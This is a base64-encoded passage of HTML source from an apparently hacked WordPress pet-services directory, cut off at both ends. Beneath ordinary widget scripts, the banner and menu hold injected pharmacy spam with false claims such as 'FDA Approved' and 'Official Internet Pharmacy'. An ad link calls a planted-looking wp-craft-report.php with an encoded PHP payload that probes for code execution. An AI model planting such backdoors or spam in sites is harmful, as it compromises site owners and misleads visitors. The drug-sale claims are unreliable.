ZG9tKCk7CgkJKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF18fGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF0pLmFwcGVuZENoaWxkKHdmc2NyKTsKCQlmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQkJcmVtb3ZlRXZlbnQoZXZ0c1tpXSwgbG9nSHVtYW4pOwoJCX0KCX07Cglmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQlhZGRFdmVudChldnRzW2ldLCBsb2dIdW1hbik7Cgl9Cn0pKCcvL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz93b3JkZmVuY2VfbGg9MSZoaWQ9M0Q4NUU0Q0YwQjJFNEFFNTNGMjcwQjc4QTNGMDNCQzcnKTsKPC9zY3JpcHQ+PGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvcGF3MS0xNTB4MTUwLnBuZyIgc2l6ZXM9IjMyeDMyIiAvPgo8bGluayByZWw9Imljb24iIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9wYXcxLTMwMHgzMDAucG5nIiBzaXplcz0iMTkyeDE5MiIgLz4KPGxpbmsgcmVsPSJhcHBsZS10b3VjaC1pY29uLXByZWNvbXBvc2VkIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvcGF3MS0zMDB4MzAwLnBuZyIgLz4KPG1ldGEgbmFtZT0ibXNhcHBsaWNhdGlvbi1UaWxlSW1hZ2UiIGNvbnRlbnQ9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9wYXcxLTMwMHgzMDAucG5nIiAvPgoKCQk8c2NyaXB0PgoJCSAgJ2FydGljbGUgYXNpZGUgZm9vdGVyIGhlYWRlciBuYXYgc2VjdGlvbiB0aW1lJy5yZXBsYWNlKC9cdysvZyxmdW5jdGlvbihuKXsgZG9jdW1lbnQuY3JlYXRlRWxlbWVudChuKSB9KQoJCTwvc2NyaXB0PgoKCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7CgoJCQl2YXIgY2F0ZWdvcmllcyA9IFsgeyB2YWx1ZTogIjExNCIgLCBsYWJlbDogIkJhcnMiIH0seyB2YWx1ZTogIjc1IiAsIGxhYmVsOiAiQ2x1YnMiIH0seyB2YWx1ZTogIjQyIiAsIGxhYmVsOiAiQ29udGVzdCIgfSx7IHZhbHVlOiAiMzEiICwgbGFiZWw6ICJFbnRlcnRhaW5tZW50IiB9LHsgdmFsdWU6ICIzNCIgLCBsYWJlbDogIkV2ZW50cyIgfSx7IHZhbHVlOiAiMzMiICwgbGFiZWw6ICJMb2RnaW5nIiB9LHsgdmFsdWU6ICIyOSIgLCBsYWJlbDogIk90aGVyIE93bmVyIE9wZXJhdGVkIiB9LHsgdmFsdWU6ICIzOSIgLCBsYWJlbDogIlJlc3RhdXJhbnRzIiB9IF07CgoJCQl2YXIgbG9jYXRpb25zID0gWyB7IHZhbHVlOiAiMTEzIiAsIGxhYmVsOiAiQ2FsaWZvcm5pYSIgfSx7IHZhbHVlOiAiNzgiICwgbGFiZWw6ICItJm5ic3A7TG9zIEFuZ2VsZXMiIH0seyB2YWx1ZTogIjEwOSIgLCBsYWJlbDogIkNvbG9yYWRvIiB9LHsgdmFsdWU6ICI5NyIgLCBsYWJlbDogIi0mbmJzcDtEZW52ZXIiIH0seyB2YWx1ZTogIjEwMyIgLCBsYWJlbDogIkNvbm5lY3RpY3V0IiB9LHsgdmFsdWU6ICIxMDQiICwgbGFiZWw6ICItJm5ic3A7SGFydGZvcmQiIH0seyB2YWx1ZTogIjEwNiIgLCBsYWJlbDogIklsbGlub2lzIiB9LHsgdmFsdWU6ICI3OSIgLCBsYWJlbDogIi0mbmJzcDtDaGljYWdvIiB9LHsgdmFsdWU6ICIxMDUiICwgbGFiZWw6ICJNYXNzYWNodXNldHRzIiB9LHsgdmFsdWU6ICIxMDAiICwgbGFiZWw6ICItJm5ic3A7Qm9zdG9uIiB9LHsgdmFsdWU6ICIxMTAiICwgbGFiZWw6ICJNaWNoaWdhbiIgfSx7IHZhbHVlOiAiOTQiICwgbGFiZWw6ICItJm5ic3A7RGV0cm9pdCIgfSx7IHZhbHVlOiAiMTEyIiAsIGxhYmVsOiAiTmV2YWRhIiB9LHsgdmFsdWU6ICIxMDIiICwgbGFiZWw6ICItJm5ic3A7TGFzIFZlZ2FzIiB9LHsgdmFsdWU6ICIxMDciICwgbGFiZWw6ICJOZXcgWW9yayIgfSx7IHZhbHVlOiAiNDYiICwgbGFiZWw6ICItJm5ic3A7TmV3IFlvcmsgQ2l0eSIgfSx7IHZhbHVlOiAiMTA4IiAsIGxhYmVsOiAiVGV4YXMiIH0seyB2YWx1ZTogIjg1IiAsIGxhYmVsOiAiLSZuYnNwO0RhbGxhcyIgfSx7IHZhbHVlOiAiMTExIiAsIGxhYmVsOiAiV2FzaGluZ3RvbiIgfSx7IHZhbHVlOiAiOTYiICwgbGFiZWw6ICItJm5ic3A7U2VhdHRsZSIgfSBdOwoKCQkJdmFyIGNhdElucHV0ID0gJCggIiNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiICksCgkJCQljYXRJbnB1dElEID0gJCggIiNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQiICksCgkJCQlsb2NJbnB1dCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uIiApLAoJCQkJbG9jSW5wdXRJRCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkIiApOwoKCQkJY2F0SW5wdXQuYXV0b2NvbXBsZXRlKHsKCQkJCW1pbkxlbmd0aDogMCwKCQkJCXNvdXJjZTogY2F0ZWdvcmllcywKCQkJCWZvY3VzOiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQljYXRJbnB1dC52YWwoIHZhbCApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0sCgkJCQlzZWxlY3Q6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWNhdElucHV0LnZhbCggdmFsICk7CgkJCQkJY2F0SW5wdXRJRC52YWwoIHVpLml0ZW0udmFsdWUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0pLmRhdGEoICJ1aS1hdXRvY29tcGxldGUiICkuX3JlbmRlckl0ZW0gPSBmdW5jdGlvbiggdWwsIGl0ZW0gKSB7CgkJCQlyZXR1cm4gJCggIjxsaT4iICkKCQkJCQkuZGF0YSggIml0ZW0uYXV0b2NvbXBsZXRlIiwgaXRlbSApCgkJCQkJLmFwcGVuZCggIjxhPiIgKyBpdGVtLmxhYmVsICsgIjwvYT4iICkKCQkJCQkuYXBwZW5kVG8oIHVsICk7CgkJCX07CgkJCXZhciBjYXRMaXN0ID0gY2F0SW5wdXQuYXV0b2NvbXBsZXRlKCAid2lkZ2V0IiApOwoJCQljYXRMaXN0Lm5pY2VTY3JvbGwoeyBhdXRvaGlkZW1vZGU6IGZhbHNlIH0pOwoKCQkJY2F0SW5wdXQuY2xpY2soZnVuY3Rpb24oKXsKCQkJCWNhdElucHV0LnZhbCgnJyk7CgkJCQljYXRJbnB1dElELnZhbCgnMCcpOwoJCQkJY2F0SW5wdXQuYXV0b2NvbXBsZXRlKCAic2VhcmNoIiwgIiIgKTsKCQkJfSk7CgoJCQlsb2NJbnB1dC5hdXRvY29tcGxldGUoewoJCQkJbWluTGVuZ3RoOiAwLAoJCQkJc291cmNlOiBsb2NhdGlvbnMsCgkJCQlmb2N1czogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJbG9jSW5wdXQudmFsKCB2YWwgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9LAoJCQkJc2VsZWN0OiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQlsb2NJbnB1dC52YWwoIHZhbCApOwoJCQkJCWxvY0lucHV0SUQudmFsKCB1aS5pdGVtLnZhbHVlICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9KS5kYXRhKCAidWktYXV0b2NvbXBsZXRlIiApLl9yZW5kZXJJdGVtID0gZnVuY3Rpb24oIHVsLCBpdGVtICkgewoJCQkJcmV0dXJuICQoICI8bGk+IiApCgkJCQkJLmRhdGEoICJpdGVtLmF1dG9jb21wbGV0ZSIsIGl0ZW0gKQoJCQkJCS5hcHBlbmQoICI8YT4iICsgaXRlbS5sYWJlbCArICI8L2E+IiApCgkJCQkJLmFwcGVuZFRvKCB1bCApOwoJCQl9OwoJCQl2YXIgbG9jTGlzdCA9IGxvY0lucHV0LmF1dG9jb21wbGV0ZSggIndpZGdldCIgKTsKCQkJbG9jTGlzdC5uaWNlU2Nyb2xsKHsgYXV0b2hpZGVtb2RlOiBmYWxzZSB9KTsKCgkJCWxvY0lucHV0LmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQlsb2NJbnB1dC52YWwoJycpOwoJCQkJbG9jSW5wdXRJRC52YWwoJzAnKTsKCQkJCWxvY0lucHV0LmF1dG9jb21wbGV0ZSggInNlYXJjaCIsICIiICk7CgkJCX0pOwoKCgoJCX0pOwoJCTwvc2NyaXB0PgoKCTwvaGVhZD4KCgk8Ym9keSBjbGFzcz0icGFnZS1pZC0zMzUzNzEiPgoKCQk8ZGl2IGlkPSJwYWdlIiBjbGFzcz0iaGZlZWQgIG5hcnJvdyIgPgoKCgo8ZGl2IGlkPSJhZHZlcnRpc2luZy1ib3gtMSIgY2xhc3M9ImFkdmVydGlzaW5nLWJveCI+Cgk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIGNsZWFyZml4Ij4KCQk8ZGl2PjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jcmFmdC1yZXBvcnQucGhwP2QxPVpHbGxLRzFrTlNnek5EVXpOQ2twT3c9PSI+TGV2aXRyYSBTdXBlciBBY3RpdmUgcHJpY2UgLSBPZmZpY2lhbCBJbnRlcm5ldCBQaGFybWFjeTwvYT48L2Rpdj4KCSA8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGNsYXNzPSJ0b3BiYXIgY2xlYXJmaXgiPgo8L2Rpdj4KCjxoZWFkZXIgaWQ9ImJyYW5kaW5nIiByb2xlPSJiYW5uZXIiPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJPGRpdiBpZD0ibG9nbyIgY2xhc3M9ImxlZnQiPgoJCQkJPGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLyU1QyUyMmh0dHA6JTVDLyU1Qy9mdW5ydW5uZXJzYmVhY2hlcy51cyU1Qy8lNUMlMjIiPlNob3AgTGV2aXRyYSBTb2Z0IGluIE5hdXJ1IFlhcmVuPC9hPgoJCTwvZGl2PgoKCQk8bmF2IGlkPSJhY2Nlc3MiIHJvbGU9Im5hdmlnYXRpb24iPgoKCQkJCQo8bmF2IGNsYXNzPSJtYWlubWVudSI+PHVsIGlkPSJtZW51LW1haW4tbWVudSIgY2xhc3M9Im1lbnUiPjxsaSBpZD0ibWVudS1pdGVtLTgyMTEiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0taG9tZSBjdXJyZW50LW1lbnUtaXRlbSBwYWdlX2l0ZW0gcGFnZS1pdGVtLTcgY3VycmVudF9wYWdlX2l0ZW0gbWVudS1pdGVtLTgyMTEiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1kYXljYXJlIj5BY3F1aXJlIExldml0cmEgSmVsbHkgb25saW5lIGNoZWFwPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyNDQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODI0NCI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tY2F0ZWdvcnk9cGV0LXNpdHRlcnMiPkNpYWxpcyBTb2Z0IGVmZmVjdHMgLSBGREEgQXBwcm92ZWQ8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM0Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtZ3Jvb21lcnMiPkJ1eSBWaWFncmEgUHJvZmVzc2lvbmFsIGluIE1vcm9jY28gUmFiYXQ8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIxMiIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjEyIj48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj13YXNoaW5ndG9uIj5TaG9wIEJyYW5kIExldml0cmEgaW4gU2FpbnQgVmluY2VudCBhbmQgdGhlIEdyZW5hZGluZXMgS2luZ3N0b3duPC9hPjwvbGk+CjxsaSBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS1ndHJhbnNsYXRlIj48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsiIGlkPSJndHJhbnNsYXRlX3dyYXBwZXIiPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgouc3dpdGNoZXIge2ZvbnQtZmFtaWx5OkFyaWFsO2ZvbnQtc2l6ZToxMHB0O3RleHQtYWxpZ246bGVmdDtjdXJzb3I6cG9pbnRlcjtvdmVyZmxvdzpoaWRkZW47d2lkdGg6MTYzcHg7bGluZS1oZWlnaHQ6MTdweDt9Ci5zd2l0Y2hlciBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTtkaXNwbGF5OmJsb2NrO2ZvbnQtc2l6ZToxMHB0Oy13ZWJraXQtYm94LXNpemluZzpjb250ZW50LWJveDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDt9Ci5zd2l0Y2hlciBhIGltZyB7dmVydGljYWwtYWxpZ246bWlkZGxlO2Rpc3BsYXk6aW5saW5lO2JvcmRlcjowO3BhZGRpbmc6MDttYXJnaW46MDtvcGFjaXR5OjAuODt9Ci5zd2l0Y2hlciBhOmhvdmVyIGltZyB7b3BhY2l0eToxO30KLnN3aXRjaGVyIC5zZWxlY3RlZCB7YmFja2dyb3VuZDojRkZGRkZGIHVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvc3dpdGNoZXIucG5nKSByZXBlYXQteDtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4Ojk5OTk7fQouc3dpdGNoZXIgLnNlbGVjdGVkIGEge2JvcmRlcjoxcHggc29saWQgI0NDQ0NDQztiYWNrZ3JvdW5kOnVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfZG93bi5wbmcpIDE0NnB4IGNlbnRlciBuby1yZXBlYXQ7Y29sb3I6IzY2NjY2NjtwYWRkaW5nOjNweCA1cHg7d2lkdGg6MTUxcHg7fQouc3dpdGNoZXIgLnNlbGVjdGVkIGEub3BlbiB7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2Fycm93X3VwLnBuZyl9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYTpob3ZlciB7YmFja2dyb3VuZDojRjBGMEYwIHVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfZG93bi5wbmcpIDE0NnB4IGNlbnRlciBuby1yZXBlYXQ7fQouc3dpdGNoZXIgLm9wdGlvbiB7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDo5OTk4O2JvcmRlci1sZWZ0OjFweCBzb2xpZCAjQ0NDQ0NDO2JvcmRlci1yaWdodDoxcHggc29saWQgI0NDQ0NDQztib3JkZXItYm90dG9tOjFweCBzb2xpZCAjQ0NDQ0NDO2JhY2tncm91bmQtY29sb3I6I0VFRUVFRTtkaXNwbGF5Om5vbmU7d2lkdGg6MTYxcHg7bWF4LWhlaWdodDoxOThweDstd2Via2l0LWJveC1zaXppbmc6Y29udGVudC1ib3g7LW1vei1ib3gtc2l6aW5nOmNvbnRlbnQtYm94O2JveC1zaXppbmc6Y29udGVudC1ib3g7b3ZlcmZsb3cteTphdXRvO292ZXJmbG93LXg6aGlkZGVuO30KLnN3aXRjaGVyIC5vcHRpb24gYSB7Y29sb3I6IzAwMDtwYWRkaW5nOjNweCA1cHg7fQouc3dpdGNoZXIgLm9wdGlvbiBhOmhvdmVyIHtiYWNrZ3JvdW5kOiNGRkM7fQouc3dpdGNoZXIgLm9wdGlvbiBhLnNlbGVjdGVkIHtiYWNrZ3JvdW5kOiNGRkM7fQojc2VsZWN0ZWRfbGFuZ19uYW1lIHtmbG9hdDogbm9uZTt9Ci5sX25hbWUge2Zsb2F0OiBub25lICFpbXBvcnRhbnQ7bWFyZ2luOiAwO30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrey13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgM3B4IHJnYmEoMCwwLDAsMC4zKTtib3JkZXItcmFkaXVzOjVweDtiYWNrZ3JvdW5kLWNvbG9yOiNGNUY1RjU7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXIge3dpZHRoOjVweDt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7Ym9yZGVyLXJhZGl1czo1cHg7LXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDAgM3B4IHJnYmEoMCwwLDAsLjMpO2JhY2tncm91bmQtY29sb3I6Izg4ODt9Cjwvc3R5bGU+CjxkaXYgY2xhc3M9InN3aXRjaGVyIG5vdHJhbnNsYXRlIj4KPGRpdiBjbGFzcz0ic2VsZWN0ZWQiPgo8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1jYXRlZ29yeT1wZXQtaG9zcGl0YWxzIj5DaGVhcCBMZXZpdHJhIFByb2Zlc3Npb25hbCB3aXRoIE1hc3RlckNhcmQ8L2E+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJvcHRpb24iPgo8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9ODA2OSI+QnV5IEJyYW5kIExldml0cmEgY2hlYXA8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tY2F0ZWdvcnk9cGV0LXNpdHRlcnMtMiI+V2hvIG93bnMgdmlhZ3JhPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPW1pY2hpZ2FuIj5WaWFncmEgRXh0cmEgRG9zYWdlIGluZm9ybWF0aW9uPC9hPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWxvY2F0aW9uPW5ldmFkYSI+U2hvcCBDaWFsaXMgU3VwZXIgQWN0aXZlIGluIE5lcGFsIEthdGhtYW5kdTwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP2FpdC1kaXItaXRlbS1sb2NhdGlvbj1uZXcteW9yay0yIj5PcmRlciBTdXBlciBMZXZpdHJhIG9ubGluZSBjaGVhcDwvYT48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3A9ODI4NCI+UHVyY2hhc2UgQ2lhbGlzIEplbGx5IC0gYWNjZXB0IEJpdGNvaW48L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9haXQtZGlyLWl0ZW0tbG9jYXRpb249Y29sb3JhZG8iPk9yZGVyIFN1cGVyIENpYWxpcyBpbiBFbCBTYWx2YWRvciBTYW4gU2FsdmFkb3I8L2E+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wPTgyODgiPlZpYWdyYSBoYXJkIG9uPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58cnUnKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IlJ1c3NpYW4iIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9ydS5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJydSIgLz4gUnVzc2lhbjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufGVzJyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJTcGFuaXNoIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZXMucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZXMiIC8+IFNwYW5pc2g8L2E+PC9kaXY+CjwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmpRdWVyeSgnLnN3aXRjaGVyIC5zZWxlY3RlZCcpLmNsaWNrKGZ1bmN0aW9uKCkge2lmKCEoalF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmlzKCc6dmlzaWJsZScpKSkge2pRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5zdG9wKHRydWUsdHJ1ZSkuZGVsYXkoMTAwKS5zbGlkZURvd24oNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7CmpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5iaW5kKCdtb3VzZXdoZWVsJywgZnVuY3Rpb24oZSkge3ZhciBvcHRpb25zID0galF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpO2lmKG9wdGlvbnMuaXMoJzp2aXNpYmxlJykpb3B0aW9ucy5zY3JvbGxUb3Aob3B0aW9ucy5zY3JvbGxUb3AoKSAtIGUub3JpZ2luYWxFdmVudC53aGVlbERlbHRhKTtyZXR1cm4gZmFsc2U7fSk7CmpRdWVyeSgnYm9keScpLm5vdCgnLnN3aXRjaGVyJykuY2xpY2soZnVuY3Rpb24oZSkge2lmKGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5pcygnOnZpc2libGUnKSAmJiBlLnRhcmdldCAhPSBqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuZ2V0KDApKSB7alF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLnN0b3AodHJ1ZSx0cnVlKS5kZWxheSgxMDApLnNsaWRlVXAoNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgojZ29vZy1ndC10dCB7ZGlzcGxheTpub25lICFpbXBvcnRhbnQ7fQouZ29vZy10ZS1iYW5uZXItZnJhbWUge2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50O30KLmdvb2ctdGUtbWVudS12YWx1ZTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDt9Ci5nb29nLXRleHQtaGlnaGxpZ2h0IHtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7Ym94LXNoYWRvdzpub25lICFpbXBvcnRhbnQ7fQpib2R5IHt0b3A6MCAhaW1wb3J0YW50O30KI2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDIge2Rpc3BsYXk6bm9uZSFpbXBvcnRhbnQ7fQo8L3N0eWxlPgoKPGRpdiBpZD0iZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MiI+PC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZ29vZ2xlVHJhbnNsYXRlRWxlbWVudEluaXQyKCkge25ldyBnb29nbGUudHJhbnNsYXRlLlRyYW5zbGF0ZUVsZW1lbnQoe3BhZ2VMYW5ndWFnZTogJ2VuJyxhdXRvRGlzcGxheTogZmFsc2V9LCAnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpO30KPC9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLy90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGVfYS9lbGVtZW50LmpzP2NiPWdvb2dsZVRyYW5zbGF0ZUVsZW1lbnRJbml0MiI+PC9zY3JpcHQ+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSB7dmFyIGtleVZhbHVlID0gZG9jdW1lbnRbJ2Nvb2tpZSddLm1hdGNoKCcoXnw7KSA/Z29vZ3RyYW5zPShbXjtdKikoO3wkKScpO3JldHVybiBrZXlWYWx1ZSA/IGtleVZhbHVlWzJdLnNwbGl0KCcvJylbMl0gOiBudWxsO30KZnVuY3Rpb24gR1RyYW5zbGF0ZUZpcmVFdmVudChlbGVtZW50LGV2ZW50KXt0cnl7aWYoZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3Qpe3ZhciBldnQ9ZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3QoKTtlbGVtZW50LmZpcmVFdmVudCgnb24nK2V2ZW50LGV2dCl9ZWxzZXt2YXIgZXZ0PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCdIVE1MRXZlbnRzJyk7ZXZ0LmluaXRFdmVudChldmVudCx0cnVlLHRydWUpO2VsZW1lbnQuZGlzcGF0Y2hFdmVudChldnQpfX1jYXRjaChlKXt9fQpmdW5jdGlvbiBkb0dUcmFu